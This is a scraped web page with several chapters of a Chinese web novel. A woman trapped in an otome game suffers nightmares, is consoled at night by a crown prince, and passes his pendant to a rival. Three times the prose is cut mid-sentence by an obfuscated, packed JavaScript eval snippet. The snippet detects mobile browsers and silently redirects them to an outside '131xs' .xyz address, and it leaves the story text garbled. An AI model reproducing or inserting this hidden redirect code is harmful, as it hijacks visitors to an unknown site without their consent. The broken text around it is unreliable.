;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16195074|174338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这沼泽一点一点地拽下去,活活将她吞噬了。 没有人帮她,没有人能理解她,更没有人会相信她。 曲昭盈终于崩溃了。 她的眼泪好似断了线的珠子般不断砸落在床铺上,空气几乎都要进不去她的肺里,叫她不得不张大了嘴去大口地喘气,她想要尖叫,但喉头的苦涩却堵得她发不出半点声音,只发出了几声幼兽一般的闷哼。 许久以来的委屈与迷茫好似终于找到了发泄的出口,不断地从她的眼睛里涌出来,叫她的一双眼酸涩地几乎发胀,却根本没办法让自己停下来,只是她哭着哭着,却听见身后忽然传来窸窸窣窣的声音,好似有什么东西正在往她的方向爬过来。 曲昭盈下意识回过头去,却赫然看见一张鲜血淋漓的脸出现在自己的眼前! “啊!” 她惊叫一声,下意识要往后躲,那血淋淋的人便随着她的动作又往前逼近了一步,低吼道:“你为什么不救我?!” 那人年纪不大,像是个十二三岁的少年人,他身上的衣裳沾满了血与泥,叫人看不出原本的颜色,曲昭盈却勉强分辨出来,这人正是今日惨死在她眼前的少年小虎!他眼眶里溢出的血黏黏腻腻地往下淌着,在地上汇聚成一汪血色的湖,待曲昭盈回过神来时,那血已经吞到了她脚踝的位置,她无论如何也从中拔不出来了。 “你为何不救我?”小虎哽咽着嗓子,空洞的眼睛盯着曲昭盈的脸,一遍又一遍地问她,“死的为什么不是你?” “对不起,对不起……”曲昭盈吓得心里怦怦直跳,除了道歉之外连话也说不出半句来,小虎却只是阴恻恻地笑了一声,接着便又有一个声音从曲昭盈的身后响了起来。 “你为何要害我?” 曲昭盈心里一跳,只觉得一瞬间身上好似结了冰,她有些僵硬地回过头去,赫然看见穿着红色喜服、浑身是血的秦景和不知何时竟站在了她的身后! 她实在怕极了,连说话的声音都哆嗦起来:“我、我没有害你……” 秦景和却张着血盆大口猛地冲到她的面前来,吼道:“你害我!” “你不和我成亲,我也不会死!” “去死!你去死!” “不要!”曲昭盈惊叫出声,再一睁眼却只见到一个漆黑的房间,屋里头静静悄悄的,只有一点月光透过窗纸渗进屋里,叫她勉强看清楚眼前的摆设,正是曲二小姐的闺房。 没有小虎,也没有秦景和,更没有浓得好似化不开的血,有的只是她背上一层薄薄的汗,叫衣裳黏黏腻腻地贴在身上——原来是她不知道何时哭得脱了力睡了过去,在梦中见到了这样可怖又骇人的场面。 她张着口大喘气,又觉得这样的黑暗让她怕的几乎要发抖,连忙下床去想要点起一盏烛火,却不想人还没摸到桌前,却听得窗外忽然发出了“叩叩”的声响,叫曲昭盈顿时间汗毛直立,冷汗“唰”地一声顺着额头便淌了下来。 外头……是什么? 32.第三十二章 曲昭盈这一觉也不知睡了多久,如今外头一片静悄悄,显然已经到了深夜,连只虫子的声音都没有,在这伸手不见五指的夜里,窗外发出的那点动静好似指甲抓在黑板上一般尖锐,听得曲昭盈背后起了一层又一层的鸡皮疙瘩。 方才的梦好似潮水一般从四面八方涌了过来,叫曲昭盈吓得几乎要发抖,她下意识开口想要喊人,却听得窗外那叩叩的声音忽然停了,紧接着有个声音道:“曲姑娘,是我。” 那声音好似水一般清澈又干净,却又仿佛有什么不得了的魔力,听得曲昭盈心里先是“噗通”一声,脚步也不受她控制地往那窗前走去,冰冷的手指按在窗户上,想也不想地便将它拉开了。 有个男子正站在她的窗外。 银色的月光从天上倾泻而出,好像落了满地雪白的霜花,轻薄氤氲的雾气从地面上升腾而出,好像天上的仙境短暂地落入了凡间,看得曲昭盈几乎呆了。 眼前的男子穿一身青色云锦长衫,正静静地站在那银灿灿的月光之中,宛若天上的谪仙,除了谢聿珩还能是谁? “你怎么……”曲昭盈有些意外地看着他,脸上尽是不可思议的表情。 他为何莫名其妙出现在自己家后院的??又是如何绕过侍卫进来的? “姑娘好似不愿意光明正大地与我见面,我只好出此下策了。” 谢聿珩似乎早就觉察到曲昭盈对自己避之不及,说起话来的语气多少有些委屈,曲昭盈见他这样,心中多少觉得有些羞愧,却也没法开口为自己辩解,只低下头去不作答,以沉默来作了回答。 谢聿珩却不怪她,反而开口道:“劳烦姑娘将手伸出来。” 曲昭盈今日经历过太多太多可怖的事情,又做了那么恐怖的梦,即便到了现在也仍旧心有余悸,当下真的十分需要有个人能给她一点微不足道的陪伴与安慰,是以谢聿珩叫她伸手,她便老老实实地将手伸了出去,又顺势摊开了掌心,谢聿珩低声笑了笑,随即将一个东西放进了曲昭盈的手心里。 那是个藕粉色的绣花香囊,它才被谢聿珩拿出来,便有清新又沉稳的香气从中传来,谢聿珩解释道:“我叫人放了安神的香料与草药在里头,放在枕边有安眠的效果。” “殿下深夜前来……就是为了给我这个?” 谢聿珩点了点头,柔声道:“你今日见到那样吓人的光景,一定吓坏了罢。” “我也帮不了你什么,只能送这么个小玩意来,至少它叫你这几日能睡个好觉,不那样害怕。” 曲昭盈低头看着那香囊,喃喃地问道:“你不怪我吗?” 分明他先前早就已经警告过曲昭盈,叫她不论发现什么都不要冒险,要她第一时间去找谢聿珩,但她为了将此事全权交给曲思盈去做,脑子一热便不计后果地追了上去,甚至叫卫沉和莲心那样一责怪之后,她即便心里委屈,却也多少觉得自己是真的做错了——若不是她从一开始就多管闲事,可能这一切坏事都不会发生。 “人命关天,”谢聿珩应道,“姑娘何错之有?” 就这样轻飘飘的一句话,却听得曲昭盈眼睛一酸,几乎要当即落下泪来,谢聿珩借着月光看见她红彤彤的眼角,便从怀中拿出条帕子来盖在她的手心上,这才继续道:“曲姑娘聪明过人,不仅勇气可嘉又有一颗侠义心肠,有谁能因此责怪于你?” “有人会死、有人出事,只能说明这世上有坏人在作恶,仅此而已。” “只是我希望下次你莫要再以身犯险了,”谢聿珩低声说,“因为我会担心。” 他的声音分明清冷的像水,却是四月里温软柔情的春水,细细密密地将曲昭盈包裹起来,她近些日子来所有的苦涩终于被人理解被人看到,让她连心动都要忘记了,眼眶中的那滴泪再也悬挂不住,“啪嗒”一声落到了窗沿之上,在寂静的夜里听着好似敲了锣似的刺耳。 谢聿珩抬起手,也顾不得什么礼数,以袖口轻轻将她的泪痕擦拭干净,哄孩子似的对曲昭盈说:“姑娘送来的人我已经在审问了,你做得很好。” “只是我有一事要请求你的同意。” “什么?” 曲昭盈抬起头来看他。 她的眼里盈着晶莹的泪,好似一汪波光粼粼的湖,谢聿珩第一次见到她这样脆弱又无助的模样,窗沿将落下的月光遮去了大半,她只有半个身子落在光里,好似要被身后的黑暗吞噬了,叫谢聿珩下意识伸出手想要去拽她,却在半空中生生停住了,转而轻轻地揉了揉她的发顶,这才道:“我想放两个侍卫在你身边。” “你现在用的这个侍卫实在过于愚钝了,”他短短一句话就将卫沉批评地一无是处,不等曲昭盈反驳,就又接了句,“近来你身上发生了太多事,我不想再叫你涉险了。” “否则像今日这样的事一定会再发生的。” 他这话让曲昭盈想起了白日里被那杀人犯追杀的恐惧,即便已经过去了大半日,现在想来也依旧让她双腿软到几乎要站不住,谢聿珩见她面色煞白,知晓是自己说的话有了效果,便又补了句:“姑娘放心,只是两个暗卫,别人发现不了,更不会叫你难做。” 曲昭盈终于点了点头,算是默认了他的安排。 谢聿珩笑了笑,正要再说一句什么,却听得曲昭盈忽然开口问他:“殿下为何总是对我这样好?” 他对自己的善意来得莫名其妙,好到几乎不计较任何回报,哪怕自己一次又一次地拂了这位高高在上的太子的面子,他却好似没有脾气一样,仍要执拗地凑上来对自己释放一切的好,哪怕是她曾经攻略过的、现在正在攻略的、好感度已经超过50%的男主角们,都从未这样几近无私地对她好过。 曲昭盈当然好奇:“殿下说我们曾经见过……是什么时候?” 谢聿珩却是笑了一声,道:“现在好像并不适合叙旧。” 他深更半夜地跑到一个未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199030|174338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婚姑娘的闺房外头,本就已经十分逾矩,匆匆说过几句话之后就得赶快离开,又哪儿能站在院子里和曲昭盈说那样久的话?曲昭盈此时也反应过来叫一个太子偷偷摸摸地站在院子里是多么荒谬的事情,赶忙道歉道:“殿下莫见怪,是民女口不择言……” “以后有机会我会和你说的,”谢聿珩自然不会怪她,还要用那哄孩子的语气道,“只是现在我得回宫去了……我不好消失太久。” 他还不忘叮嘱曲昭盈:“你记得将灯点上,若是实在害怕,便找些话本来看,莫要一直想着那些事。” 谢聿珩这样冒着风险匆匆忙忙地来一趟,不计较自己身份如此高贵,在深沉的夜色里不知道等了多久,就只是为了将这个香囊送给自己,只是为了安慰自己两句,没有半点别的要求,甚至连回报都不要,就只是单纯地在关心她,想知道她是否在害怕。 在这一刻,曲昭盈终于明白了为什么曲思盈为什么会这样执着于眼前这个男人了。 他实在是太过美好又太过完美,好到不像是现实世界里会存在的人,他分明那样高高在上,却温柔知礼、体贴入微,也怪不得曲思盈要放弃她现实生活礼的一切,为了谢聿珩心甘情愿地留在这里——或许真的如她所说,被谢聿珩爱上,就是这世上最美妙最幸福的事情了。 但这份幸福并不应该属于自己,曲思盈想。 所以即便她心里依旧害怕,即便她再希望谢聿珩多停留片刻、陪一陪自己,却也依旧强打起精神扯出个笑来,道:“请殿下慢走。” “我没事……您不必过于担心我。” 谢聿珩原本已经转身准备走了,听到曲昭盈这话,便又转过身来,盯着她的脸柔声道:“若不担心,我又怎么会在这里?” “你总不能连让我担心你的权力都不给我。” 他说话的声音似乎带着些委屈,仿佛自己是被主人抛弃、正在苦苦等待被找回的小狗,曲昭盈被他这话说得心中愧疚,忙低下头去不敢再看他,低声道了句:“……我不是那个意思。” “哦——”谢聿珩拉长了声调,“那就是我可以担心你,也可以想你的意思吗?” “不是!” 曲昭盈瞪大了眼睛抬起眼来看他,却见谢聿珩笑意盈盈地站在自己面前,见她终于又抬起头来,这才说了句:“逗姑娘玩的。” 他的容貌实在生得太过于俊俏,平日里总是端得副风度翩翩的尊贵模样,甚少有笑得像现在这般恣意的时候,带着几分少年人的天真与顽皮,天上的月牙儿似乎在这一刻落进了他的眼里,叫他看起来漂亮得实在有些过分,看得曲昭盈心里不知为何突然没来由地“咚咚”跳了起来,心脏几乎要穿透她薄薄的皮肉,自胸膛之中跳跃出来。 她下意识抬手去按自己的胸口,用力将自己那颗不安分的心摁回自己的胸腔之中。 不可以,曲昭盈想。 绝对、绝对不可以对他心动。 33.第三十四章 到了天边泛起一点青色时,曲昭盈终于犯起一些困意,握着谢聿珩给的香包昏睡了一会,许是那些安神的药材确实有效果,方才那些可怕的场景竟真的没再找上她来,叫她睡了个简短的安稳觉。 莲心照例按时进屋给她洗漱。 曲昭盈一言不发地换了衣裳,坐在镜前叫莲心给她梳妆,昨日发生了那样的争吵,她又没怎么睡觉,着实没什么心思找话题,倒是莲心看着她绷着脸不说话的模样觉得心底有些犯怵,这才怯生生地开口道:“小姐,我昨日没有那个意思。” “我哪里敢怪小姐呢,只是情急之下口不择言而已,”她一边说一边往地上一跪,低着头道,“请小姐原谅我吧。” “您不搭理我,我心里头比刀割还难受!” 曲昭盈到底是心软,见莲心这模样,自然也不会再和她计较什么,只道:“你起来吧,我不生气了。” 莲心这才长出了一口气,慌忙从地上又爬了起来,小心翼翼地替曲昭盈梳好发髻又戴好了珠花,这才小心翼翼地开口道:“小姐……卫沉昨日虽然说的话有些过分……但他也只是关心则乱,并非有意要顶撞你的。” “昨日我已经骂了他一通,他也已经知道错了,”莲心低着头看她,苦苦劝导道,“小姐还是别和他置气了……您气坏了身子也不值得。” 看来她已经被卫沉的观点说服了,也觉得曲昭盈这位小姐做的事情过分出格,让她这个做侍女的左右为难,还以退为进地试图来做曲昭盈与卫沉之间的说客,曲昭盈看着莲心有些局促地脸,忽然不知道要说些什么。 其实她向来都并没有选择不是吗? 从进入这个游戏的第一天开始,她就没有任何选择。 为了回家,她只能放下一切的自尊与自爱,将自己的位置摆低到尘埃里去,顺着这些男主角的喜好与要求说话行事,卑微地去祈求一个素不相识的男人能够大发慈悲、给予自己百分之百、全心全意的爱情。 为此曲昭盈不能够有自己的脾气,也不能够有自己的喜好,她只能做个乖顺的 、没有灵魂的玩偶,随着不同人的喜好去装点自己,在他们面前总要战战兢兢地三思而行,生怕自己做错了什么事、说错了什么话,惹来他们的不高兴、不喜欢,害得自己好不容易积累的好感度掉下来甚至清零。 这怎么能算得上是乙女游戏呢?患得患失、辗转反侧、不断讨好他人的明明是她自己啊!哪怕是身为女主角的曲思盈,为了得到这些男主角的喜欢,也得做出“符合角色心意”的行为来不是吗? 这样卑微祈求来的感情,又怎么能够让人心动呢?实在太匪夷所思了。 她侧过脸去看了一眼镜子。 黄色的镜中倒映出了一道身影,尽管那身形瞧起来多少有些迷蒙,却仍旧能叫曲昭盈看清楚自己的脸:她的容貌分明还是娇俏又年轻的,皮肤仍旧似雪般吹弹可破,眉目间却不知何时已经显出一些疲态,仿佛她的眼睛已经先她一步、在这四四方方的房间里悄声无息地老去了,它们在白缎子一般的脸上像被烛火烧穿的两只洞,黑黢黢、空落落的,没了半点的神采,点缀在她发间的珠花也成了华贵礼袍下头藏着的虱子,轻轻一抖,就会像柳絮一般纷纷掉落下来。 她好痛苦。 她不想一辈子都像一只被画在纸上的鸟一样困在这里,飞也飞不得、叫也叫不出,有朝一日连死都要被钉在这泛黄发旧的纸上,羽毛也暗淡下去,叫蛀虫一日日地将自己吃空了。 是以就算曲昭盈心里再不乐意又能怎么样?她为了回家,为了那要命的好感度,便是再如何不高兴,她也只能同意莲心的话去“原谅”卫沉的冒犯与无礼,只求那好不容易涨起来的好感度不要为了这一场争吵而跌落下去。 她前脚才点了头,莲心便高高兴兴地跑到房外去把候在外头的卫沉喊了进来。 卫沉今日穿着曲昭盈与他初见时送给他的衣裳,低着头走到了曲昭盈的跟前。 他昨日冷静了一夜,意识到自己确实因为嫉妒冲昏了头,才对着曲昭盈说出那样过分的话来,是以莲心叫他来赔罪,他便迫不及待地走进屋来,二话不说地往曲昭盈的身前一跪,低着头道:“请小姐责罚。” 曲昭盈却没有在看卫沉。 她的眼睛正死死盯着卫沉脑袋顶上的好感度条——它不知何时又变成了血一样鲜红的颜色,可怖又显眼地挂在半空中,好似有人用刀将空气生生劈开了一道深可见骨的伤口,而原本显示在上头的50%好感度也被这血色覆盖了,叫曲昭盈根本看不清如今的数字是多少,她打开系统视窗想要查看到底什么情况,但它依旧只会弹出让她支付200两查看好感度的窗口,除了不断地提示她金币不足无法支付之外,什么都没有。 一条条、一道道都好像无数张催命的符,催促着她早些去找曲思盈道歉,早些去赚够这二百两银,才能早些完成她的攻略,完成她回家的愿望。 曲昭盈没有时间去痛苦了。 不管她心里再如何难过,也只能带着她买好的礼物和谢聿珩的玉佩,走进了曲思盈的院子。 这次她总算没有被赶出来了。 曲思盈才吃过早饭,此时正坐在罗汉床上,一边翻着书一边吃侍女端来的糕点。 今日天气算不得好,昨天夜里起了雾,现下整个天都灰蒙蒙的,即便白日里开着窗,屋里头也依旧泛着迷蒙的灰,有一枝夹竹桃插在窗前的青色宝瓶里,伸出去的枝丫将天空切割成了大小不一的碎片,像灰瓷裂开了似的,叫人觉得异常憋闷。 曲思盈看见曲昭盈进来,却是连眼睛都懒得抬一下,仍旧是一动不动倚靠在垫子上,显然不将这个便宜妹妹当成一回事。 曲昭盈叹了口气,自顾自地走到那罗汉床的跟前,将装着耳坠的盒子推到曲思盈的眼前,道:“是我食言了,对不起。” 曲思盈没想到她还带了礼物来,有些意外地挑了挑眉毛,放了手里的书去将那盒子打开了,看见里头躺着的那对小巧又精致的耳坠,没忍住便将它从盒子里拿了出来。 “好看,”曲思盈走到梳妆镜前,将那耳坠在耳朵上比了又比,看得心情大好,这才勉为其难似的道,“好吧,我听你解释。” 曲昭盈将这些日子发生的事情大致和她讲了,又说实在是人命关天,她才会与这位太子扯上干系。 “那你不管她就好了啊,”曲思盈十分不屑,“她只是这游戏里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206785|174338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的NPC而已,死了就死了呗。” 她回过头来看着曲昭盈,问道:“难道我不比一个NPC重要吗?” “我和你是老乡,又合在一起做生意,系统还把咱俩分成了姐妹,不管怎么说你都应该站在我这边不是吗?” “我是站在你这边的啊……只是生命不分高低贵贱,”曲昭盈道,“不论是谁发生了这样的事,我见到了都会想帮忙的。” “如今你又怎么能单纯地将这里的人当成NPC来看待?他们早就是活生生的人了不是吗?” 曲思盈撇了撇嘴,对她这样的辩解十分不屑一顾:“我看你是在发癫,游戏就是游戏,NPC就是NPC。” 说罢她还要冷笑一声,道:“而且就算她不是NPC又怎么样?不是NPC她也就只是个奴才,有什么值得我们这些做主子的人去拼命的?” 曲昭盈只觉得心中有股无名怒火,却也无法直接对着曲思盈发泄出来,她见曲思盈正坐在镜前试戴自己送的耳坠,咽了一口唾液,顺势将怒火咽进肚子里,这才一字一句地道:“但谢聿珩要找与春桃有关的线索。” 曲思盈这才认真地回过头来看她。 那对耳坠挂在她的耳朵上,温润的光像躲在云中的星,随着她的动作一闪一闪的,倒是极衬她的肤色,曲昭盈看她终于认真看自己,这才道:“所以你来找春桃吧。” “我不会再去和谢聿珩接触,你今早去找些消息、找些线索,不论找到什么,都可以去找谢聿珩说。” 曲思盈险些从凳子上跳起来:“真的?!” 这样好的与谢聿珩接触的机会,她真的要拱手让给自己? “我知道你之前觉得我在骗你,”曲昭盈盯着她的眼睛,极认真地、一字一句地说道,“但我真的从来没想过和你抢男人,更不想留在这里一辈子,我的目的从来只有早点做完任务离开这里,你大可放心。” 曲昭盈将谢聿珩的玉佩从自己怀中拿了出来,“嗒”地一声放在桌上:“这是谢聿珩的玉佩,你只要找到任何一点有关春桃的消息,就可以拿着它去东宫与他相见。” 曲思盈再也坐不住,从梳妆台前飞奔而来,如获至宝一般将那玉佩拿起来仔细查看,她之前玩过游戏,自然一眼辨认出这玉佩是货真价实的、谢聿珩的贴身之物,当即喜出望外道:“好!我知道了!我帮你找就是了!” 见曲昭盈给自己送来这样好的机会,高兴之间曲思盈也忘了要她不再出门、关在家里刷卫沉好感度的要求,曲昭盈看她终于消了火,这才松了一口气。 她到底还是说了一个谎。 她自私又卑劣地隐瞒了昨日谢聿珩偷偷来找自己的事,隐瞒了自己在谢聿珩的言语与行为里得到了安慰。她将这一段记忆、这一段感情、这一点点微不足道的心动糅杂在一起,在心底挖了一个深不见底的洞将其埋藏了起来,只当做自己疲惫至极时偷偷拿来回味的养分,好叫自己能够继续坚持下去。 至少在这个让她四处碰壁、到处受挫的游戏里头,还有人曾经这样不计回报地关心过自己,对她来说就已经是莫大的鼓舞了。 这种程度的隐瞒……应该也不算是做了很大的坏事吧?